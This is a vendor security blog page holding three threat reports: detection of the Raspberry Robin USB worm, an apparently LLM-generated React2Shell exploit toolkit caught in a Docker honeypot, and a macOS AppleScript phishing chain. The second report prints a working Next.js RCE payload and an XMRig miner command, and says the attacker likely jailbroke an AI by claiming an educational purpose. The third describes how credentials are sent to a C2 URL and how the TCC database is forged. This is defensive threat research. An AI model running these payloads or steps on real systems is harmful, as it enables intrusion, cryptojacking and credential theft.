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April 2, 2024

Darktrace's Investigation of Raspberry Robin Worm

Discover how Darktrace is leading the hunt for Raspberry Robin. Explore early insights and strategies in the battle against cyber threats.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Alexandra Sentenac
Cyber Analyst
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02
Apr 2024

Introduction

In the face of increasingly hardened digital infrastructures and skilled security teams, malicious actors are forced to constantly adapt their attack methods, resulting in sophisticated attacks that are designed to evade human detection and bypass traditional network security measures.  

One such example that was recently investigated by Darktrace is Raspberry Robin, a highly evasive worm malware renowned for merging existing and novel techniques, as well as leveraging both physical hardware and software, to establish a foothold within organization’s networks and propagate additional malicious payloads.

What is Raspberry Robin?

Raspberry Robin, also known as ‘QNAP worm’, is a worm malware that was initially discovered at the end of 2023 [1], however, its debut in the threat landscape may have predated this, with Microsoft uncovering malicious artifacts linked to this threat (which it tracks under the name Storm-0856) dating back to 2019 [4]. At the time, little was known regarding Raspberry Robin’s objectives or operators, despite the large number of successful infections worldwide. While the identity of the actors behind Raspberry Robin still remains a mystery, more intelligence has been gathered about the malware and its end goals as it was observed delivering payloads from different malware families.

Who does Raspberry Robin target?

While it was initially reported that Raspberry Robin primarily targeted the technology and manufacturing industries, researchers discovered that the malware had actually targeted multiple sectors [3] [4]. Darktrace’s own investigations echoed this, with Raspberry Robin infections observed across various industries, including public administration, finance, manufacturing, retail education and transportation.

How does Raspberry Robin work?

Initially, it appeared that Raspberry Robin's access to compromised networks had not been utilized to deliver final-stage malware payloads, nor to steal corporate data. This uncertainty led researchers to question whether the actors involved were merely “cybercriminals playing around” or more serious threats [3]. This lack of additional exploitation was indeed peculiar, considering that attackers could easily escalate their attacks, given Raspberry Robin’s ability to bypass User Account Control using legitimate Windows tools [4].

However, at the end of July 2022, some clarity emerged regarding the operators' end goals. Microsoft researchers revealed that the access provided by Raspberry Robin was being utilized by an access broker tracked as DEV-0206 to distribute the FakeUpdates malware downloader [2]. Researchers further discovered malicious activity associated with Evil Corp TTPs (i.e., DEV-0243) [5] and payloads from the Fauppod malware family leveraging Raspberry Robin’s access [8]. This indicates that Raspberry Robin may, in fact, be an initial access broker, utilizing its presence on hundreds of infected networks to distribute additional payloads for paying malware operators. Thus far, Raspberry Robin has been observed distributing payloads linked to FIN11, Clop Gang, BumbleBee, IcedID, and TrueBot on compromised networks [12].

Raspberry Robin’s Continued Evolution

Since it first appeared in the wild, Raspberry Robin has evolved from "being a widely distributed worm with no observed post-infection actions [...] to one of the largest malware distribution platforms currently active" [8]. The fact that Raspberry Robin has become such a prevalent threat is likely due to the continual addition of new features and evasion capabilities to their malware [6] [7].  

Since its emergence, the malware has “changed its communication method and lateral movement” [6] in order to evade signature detections based on threat intelligence and previous versions. Endpoint security vendors commonly describe it as heavily obfuscated malware, employing multiple layers of evasion techniques to hinder detection and analysis. These include for example dropping a fake payload when analyzed in a sandboxed environment and using mixed-case executing commands, likely to avoid case-sensitive string-based detections.  

In more recent campaigns, Raspberry Robin further appears to have added a new distribution method as it was observed being downloaded from archive files sent as attachments using the messaging service Discord [11]. These attachments contained a legitimate and signed Windows executable, often abused by attackers for side-loading, alongside a malicious dynamic-link library (DLL) containing a Raspberry Robin sample.

Another reason for the recent success of the malware may be found in its use of one-day exploits. According to researchers, Raspberry Robin now utilizes several local privilege escalation exploits that had been recently disclosed, even before a proof of concept had been made available [9] [10]. This led cyber security professionals to believe that operators of the malware may have access to an exploit seller [6]. The use of these exploits enhances Raspberry Robin's detection evasion and persistence capabilities, enabling it to propagate on networks undetected.

Darktrace’s Coverage of Raspberry Robin

Through two separate investigations carried out by Darktrace’s Threat Research team, first in late 2022 and then in November 2023, it became evident that Raspberry Robin was capable of integrating new functionalities and tactics, techniques and procedures (TTPs) into its attacks. Darktrace DETECT™ provided full visibility over the evolving campaign activity, allowing for a comparison of the threat across both investigations. Additionally, if Darktrace RESPOND™ was enabled on affected networks, it was able to quickly mitigate and contain emerging activity during the initial stages, thwarting the further escalation of attacks.

Raspberry Robin Initial Infection

The most prevalent initial infection vector appears to be the introduction of an infected external drive, such as a USB stick, containing a malicious .LNK file (i.e., a Windows shortcut file) disguised as a thumb drive or network share. When clicked, the LNK file automatically launches cmd.exe to execute the malicious file stored on the external drive, and msiexec.exe to connect to a Raspberry Robin command-and-control (C2) endpoint and download the main malware component. The whole process leverages legitimate Windows processes and is therefore less likely to raise any alarms from more traditional security solutions. However, Darktrace DETECT was able to identify the use of Msiexec to connect to a rare endpoint as anomalous in every case investigated.

Little is currently known regarding how the external drives are infected and distributed, but it has been reported that affected USB drives had previously been used for printing at printing and copying shops, suggesting that the infection may have originated from such stores [13].

A method as simple as leaving an infected USB on a desk in a public location can be a highly effective social engineering tactic for attackers. Exploiting both curiosity and goodwill, unsuspecting individuals may innocently plug in a found USB, hoping to identify its owner, unaware that they have unwittingly compromised their device.

As Darktrace primarily operates on the network layer, the insertion of a USB endpoint device would not be within its visibility. Nevertheless, Darktrace did observe several instances wherein multiple Microsoft endpoints were contacted by compromised devices prior to the first connection to a Raspberry Robin domain. For example, connections to the URI '/fwlink/?LinkID=252669&clcid=0x409' were observed in multiple customer environments prior to the first Raspberry Robin external connection. This connectivity seems to be related to Windows attempting to retrieve information about installed hardware, such as a printer, and could also be related to the inserting of an external USB drive.

Figure 1: Device Event Log showing an affected device making connections to Microsoft endpoints, prior to contacting the Raspberry Robin C2 endpoint ‘vqdn[.]net’.
Figure 1: Device Event Log showing an affected device making connections to Microsoft endpoints, prior to contacting the Raspberry Robin C2 endpoint ‘vqdn[.]net’.

Raspberry Robin Command-and-Control Activity

In all cases investigated by Darktrace, compromised devices were detected making HTTP GET connections via the unusual port 8080 to Raspberry Robin C2 endpoints using the new user agent 'Windows Installer'.

The C2 hostnames observed were typically short and matched the regex /[a-zA-Z0-9]{2,4}.[a-zA-Z0-9]{2,6}/, and were hosted on various top-level domains (TLD) such as ‘.rocks’, ‘.pm’, and ‘.wf’. On one customer network, Darktrace observed the download of an MSI file from the Raspberry Robin domain ‘wak[.]rocks’. This package contained a heavily protected malicious DLL file whose purpose was unknown at the time.  

However, in September 2022, external researchers revealed that the main purpose of this DLL was to download further payloads and enable lateral movement, persistence and privilege escalation on compromised devices, as well as exfiltrating sensitive information about the device. As worm infections spread through networks automatically, exfiltrating device data is an essential process for threat actor to keep track of which systems have been infected.

On affected networks investigated by Darktrace, compromised devices were observed making C2 connections that contained sensitive device information, including hostnames and credentials, with additional host information likely found within the data packets [12].

Figure 2: Model Breach Event Log displaying the events that triggered the the ‘New User Agent and Suspicious Request Data’ DETECT model breach.
Figure 2: Model Breach Event Log displaying the events that triggered the the ‘New User Agent and Suspicious Request Data’ DETECT model breach.

As for C2 infrastructure, Raspberry Robin leverages compromised Internet of Things (IoT) devices such as QNAP network attached storage (NAS) systems with hijacked DNS settings [13]. NAS devices are data storage servers that provide access to the files they store from anywhere in the world. These features have been abused by Raspberry Robin operators to distribute their malicious payloads, as any uploaded file could be stored and shared easily using NAS features.

However, Darktrace found that QNAP servers are not the only devices being exploited by Raspberry Robin, with DETECT identifying other IoT devices being used as C2 infrastructure, including a Cerio wireless access point in one example. Darktrace recognized that this connection was new to the environment and deemed it as suspicious, especially as it also used new software and an unusual port for the HTTP protocol (i.e., 8080 rather than 80).

In several instances, Darktrace observed Raspberry Robin utilizing TOR exit notes as backup C2 infrastructure, with compromised devices detected connecting to TOR endpoints.

Figure 3: Raspberry Robin C2 endpoint when viewed in a sandbox environment.
Figure 3: Raspberry Robin C2 endpoint when viewed in a sandbox environment.
Figure 4: Raspberry Robin C2 endpoint when viewed in a sandbox environment.
Figure 4: Raspberry Robin C2 endpoint when viewed in a sandbox environment.

Raspberry Robin in 2022 vs 2023

Despite the numerous updates and advancements made to Raspberry Robin between the investigations carried out in 2022 and 2023, Darktrace’s detection of the malware was largely the same.

DETECT models breached during first investigation at the end of 2022:

  • Device / New User Agent
  • Anomalous Server Activity / New User Agent from Internet Facing System
  • Device / New User Agent and New IP
  • Compromise / Suspicious Request Data
  • Compromise / Uncommon Tor Usage
  • Possible Tor Usage

DETECT models breached during second investigation in late 2023:

  • Device / New User Agent and New IP
  • Device / New User Agent and Suspicious Request Data
  • Device / New User Agent
  • Device / Suspicious Domain
  • Possible Tor Usage

Darktrace’s anomaly-based approach to threat detection enabled it to consistently detect the TTPs and IoCs associated with Raspberry Robin across the two investigations, despite the operator’s efforts to make it stealthier and more difficult to analyze.

In the first investigation in late 2022, Darktrace detected affected devices downloading addition executable (.exe) files following connections to the Raspberry Robin C2 endpoint, including a numeric executable file that appeared to be associated with the Vidar information stealer. Considering the advanced evasion techniques and privilege escalation capabilities of Raspberry Robin, early detection is key to prevent the malware from downloading additional malicious payloads.

In one affected customer environment investigated in late 2023, a total of 12 devices were compromised between mid-September and the end of October. As this particular customer did not have Darktrace RESPOND, the Raspberry Robin infection was able to spread through the network unabated until the customer acted upon Darktrace DETECT’s alerts.

Had Darktrace RESPOND been enabled in autonomous response mode, it would have been able to take immediate action following the first observed connection to a Raspberry Robin C2 endpoint, by blocking connections to the suspicious endpoint and enforcing a device’s normal ‘pattern of life’.

By enforcing a pattern of life on an affected device, RESPOND would prevent it from carrying out any activity that deviates from this learned pattern, including connections to new endpoints using new software as was the case in Figure 5, effectively shutting down the attack in the first instance.

Model Breach Event Log showing RESPOND’s actions against connections to Raspberry Robin C2 endpoints.
Figure 5: Model Breach Event Log showing RESPOND’s actions against connections to Raspberry Robin C2 endpoints.

Conclusion

Raspberry Robin is a highly evasive and adaptable worm known to evolve and change its TTPs on a regular basis in order to remain undetected on target networks for as long as possible. Due to its ability to drop additional malware variants onto compromised devices, it is crucial for organizations and their security teams to detect Raspberry Robin infections at the earliest possible stage to prevent the deployment of potentially disruptive secondary attacks.

Despite its continued evolution, Darktrace's detection of Raspberry Robin remained largely unchanged across the two investigations. Rather than relying on previous IoCs or leveraging existing threat intelligence, Darktrace DETECT’s anomaly-based approach allows it to identify emerging compromises by detecting the subtle deviations in a device’s learned behavior that would typically come with a malware compromise.

By detecting the attacks at an early stage, Darktrace gave its customers full visibility over malicious activity occurring on their networks, empowering them to identify affected devices and remove them from their environments. In cases where Darktrace RESPOND was active, it would have been able to take autonomous follow-up action to halt any C2 communication and prevent the download of any additional malicious payloads.  

Credit to Alexandra Sentenac, Cyber Analyst, Trent Kessler, Senior Cyber Analyst, Victoria Baldie, Director of Incident Management

Appendices

Darktrace DETECT Model Coverage

Device / New User Agent and New IP

Device / New User Agent and Suspicious Request Data

Device / New User Agent

Compromise / Possible Tor Usage

Compromise / Uncommon Tor Usage

MITRE ATT&CK Mapping

Tactic - Technique

Command & Control - T1090.003 Multi-hop Proxy

Lateral Movement - T1210 Exploitation of remote services

Exfiltration over C2 Data - T1041 Exfiltration over C2 Channel

Data Obfuscation - T1001 Data Obfuscation

Vulnerability Scanning - T1595.002 Vulnerability Scanning

Non-Standard Port - T1571 Non-Standard Port

Persistence - T1176 Browser Extensions

Initial Access - T1189 Drive By Compromise / T1566.002  Spearphishing Link

Collection - T1185 Man in the browser

List of IoCs

IoC - Type - Description + Confidence

vqdn[.]net - Hostname - C2 Server

mwgq[.]net - Hostname - C2 Server

wak[.]rocks - Hostname - C2 Server

o7car[.]com - Hostname - C2 Server

6t[.]nz - Hostname - C2 Server

fcgz[.]net - Hostname - Possible C2 Server

d0[.]wf - Hostname - C2 Server

e0[.]wf - Hostname - C2 Server

c4z[.]pl - Hostname - C2 Server

5g7[.]at - Hostname - C2 Server

5ap[.]nl - Hostname - C2 Server

4aw[.]ro - Hostname - C2 Server

0j[.]wf - Hostname - C2 Server

f0[.]tel - Hostname - C2 Server

h0[.]pm - Hostname - C2 Server

y0[.]pm - Hostname - C2 Server

5qy[.]ro - Hostname - C2 Server

g3[.]rs - Hostname - C2 Server

5qe8[.]com - Hostname - C2 Server

4j[.]pm - Hostname - C2 Server

m0[.]yt - Hostname - C2 Server

zk4[.]me - Hostname - C2 Server

59.15.11[.]49 - IP address - Likely C2 Server

82.124.243[.]57 - IP address - C2 Server

114.32.120[.]11 - IP address - Likely C2 Server

203.186.28[.]189 - IP address - Likely C2 Server

70.124.238[.]72 - IP address - C2 Server

73.6.9[.]83 - IP address - Likely C2 Server

References

[1] https://redcanary.com/blog/raspberry-robin/  

[2] https://www.bleepingcomputer.com/news/security/microsoft-links-raspberry-robin-malware-to-evil-corp-attacks/

[3] https://7095517.fs1.hubspotusercontent-na1.net/hubfs/7095517/FLINT%202022-016%20-%20QNAP%20worm_%20who%20benefits%20from%20crime%20(1).pdf

[4] https://www.bleepingcomputer.com/news/security/microsoft-finds-raspberry-robin-worm-in-hundreds-of-windows-networks/

[5] https://therecord.media/microsoft-ties-novel-raspberry-robin-malware-to-evil-corp-cybercrime-syndicate

[6] https://securityaffairs.com/158969/malware/raspberry-robin-1-day-exploits.html

[7] https://research.checkpoint.com/2024/raspberry-robin-keeps-riding-the-wave-of-endless-1-days/

[8] https://redmondmag.com/articles/2022/10/28/microsoft-details-threat-actors-leveraging-raspberry-robin-worm.aspx

[9] https://www.bleepingcomputer.com/news/security/raspberry-robin-malware-evolves-with-early-access-to-windows-exploits/

[10] https://www.bleepingcomputer.com/news/security/raspberry-robin-worm-drops-fake-malware-to-confuse-researchers/

[11] https://thehackernews.com/2024/02/raspberry-robin-malware-upgrades-with.html

[12] https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/

[13] https://blog.bushidotoken.net/2023/05/raspberry-robin-global-usb-malware.html

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Alexandra Sentenac
Cyber Analyst

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February 10, 2026

AI/LLM-Generated Malware Used to Exploit React2Shell

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Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

A recently observed intrusion against Darktrace’s Cloudypots environment revealed a fully AI‑generated malware sample exploiting the . As AI‑assisted software development (“vibecoding”) becomes more widespread, attackers are increasingly leveraging large language models to rapidly produce functional tooling. This incident illustrates a broader shift: AI is now enabling even lowskill‑skill operators to generate effective exploitation frameworks at speed. This blog examines the attack chain, analyzes the AI-generated payload, and outlines what this evolution means for defenders.

Initial access

The intrusion was observed against the Darktrace docker honeypot, which intentionally exposes the Docker daemon internet-facing with no authentication. This configuration allows any attacker to discover the daemon and create a container via the Docker API.

The attacker was observed spawning a container named “python-metrics-collector”, configured with a start up command that first installed prerequisite tools including curl, wget, and python 3.

Container spawned with the name ‘python-metrics-collector’.
Figure 1: Container spawned with the name ‘python-metrics-collector’.

Subsequently, it will download a list of required python packages from

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

Finally it will download and run a python script from:

  • hxxps://smplu[.]link/dockerzero.

This link redirects to a GitHub Gist hosted by user “hackedyoulol”, who has since been banned from GitHub at time of writing.

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

Notably the script did not contain a docker spreader – unusual for Docker-focused malware – indicating that propagation was likely handled separately from a centralized spreader server.

Deployed components and execution chain

The downloaded Python payload was the central execution component for the intrusion. Obfuscation by design within the sample was reinforced between the exploitation script and any spreading mechanism. Understanding that docker malware samples typically include their own spreader logic, the omission suggests that the attacker maintained and executed a dedicated spreading tool remotely.

The script begins with a multi-line comment:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

This is very telling, as the overwhelming majority of samples analysed do not feature this level of commentary in files, as they are often designed to be intentionally difficult to understand to hinder analysis. Quick scripts written by human operators generally prioritize speed and functionality over clarity. LLMs on the other hand will document all code with comments very thoroughly by design, a pattern we see repeated throughout the sample.  Further, AI will refuse to generate malware as part of its safeguards.

The presence of the phrase “Educational/Research Purpose Only” additionally suggests that the attacker likely jailbroke an AI model by framing the malicious request as educational.

When portions of the script were tested in AI‑detection software, the output further indicated that the code was likely generated by a large language model.

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
Figure 2: GPTZero AI-detection results indicating that the script was likely generated using an AI model.

The script is a well constructed React2Shell exploitation toolkit, which aims to gain remote code execution and deploy a XMRig (Monero) crypto miner. It uses an IP‑generation loop to identify potential targets and executes a crafted exploitation request containing:

  • A deliberately structured Next.js server component payload
  • A chunk designed to force an exception and reveal command output
  • A child process invocation to run arbitrary shell commands

    def execute_rce_command(base_url, command, timeout=120):  
    """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
    DO NOT MODIFY THIS FUNCTION
    Returns: (success, output)  
    """  
    try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

This function is initially invoked with ‘whoami’ to determine if the host is vulnerable, before using wget to download XMRig from its GitHub repository and invoking it with a configured mining pool and wallet address.

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

Many attackers do not realise that while Monero uses an opaque blockchain (so transactions cannot be traced and wallet balances cannot be viewed), mining pools such as supportxmr will publish statistics for each wallet address that are publicly available. This makes it trivial to track the success of the campaign and the earnings of the attacker.

 The supportxmr mining pool overview for the attackers wallet address
Figure 3: The supportxmr mining pool overview for the attackers wallet address

Based on this information we can determine the attacker has made approx 0.015 XMR total since the beginning of this campaign, which as of writing is valued at £5. Per day, the attacker is generating 0.004 XMR, which is £1.33 as of writing. The worker count is 91, meaning that 91 hosts have been infected by this sample.

Conclusion

While the amount of money generated by the attacker in this case is relatively low, and cryptomining is far from a new technique, this campaign is proof that AI based LLMs have made cybercrime more accessible than ever. A single prompting session with a model was sufficient for this attacker to generate a functioning exploit framework and compromise more than ninety hosts, demonstrating that the operational value of AI for adversaries should not be underestimated.

CISOs and SOC leaders should treat this event as a preview of the near future. Threat actors can now generate custom malware on demand, modify exploits instantly, and automate every stage of compromise. Defenders must prioritize rapid patching, continuous attack surface monitoring, and behavioral detection approaches. AI‑generated malware is no longer theoretical — it is operational, scalable, and accessible to anyone.

Analyst commentary

It is worth noting that the downloaded script does not appear to include a Docker spreader, meaning the malware will not replicate to other victims from an infected host. This is uncommon for Docker malware, based on other samples analyzed by Darktrace researchers. This indicates that there is a separate script responsible for spreading, likely deployed by the attacker from a central spreader server. This theory is supported by the fact that the IP that initiated the connection, 49[.]36.33.11, is registered to a residential ISP in India. While it is possible the attacker is using a residential proxy server to cover their tracks, it is also plausible that they are running the spreading script from their home computer. However, this should not be taken as confirmed attribution.

Credit to Nathaniel Bill (Malware Research Engineer), Nathaniel Jones ( VP Threat Research | Field CISO AI Security)

Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

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About the author
Nathaniel Bill
Malware Research Engineer

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February 9, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

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Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

 Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

 Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery

T1057 – Process Discovery

T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

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About the author
Tara Gould
Malware Research Lead
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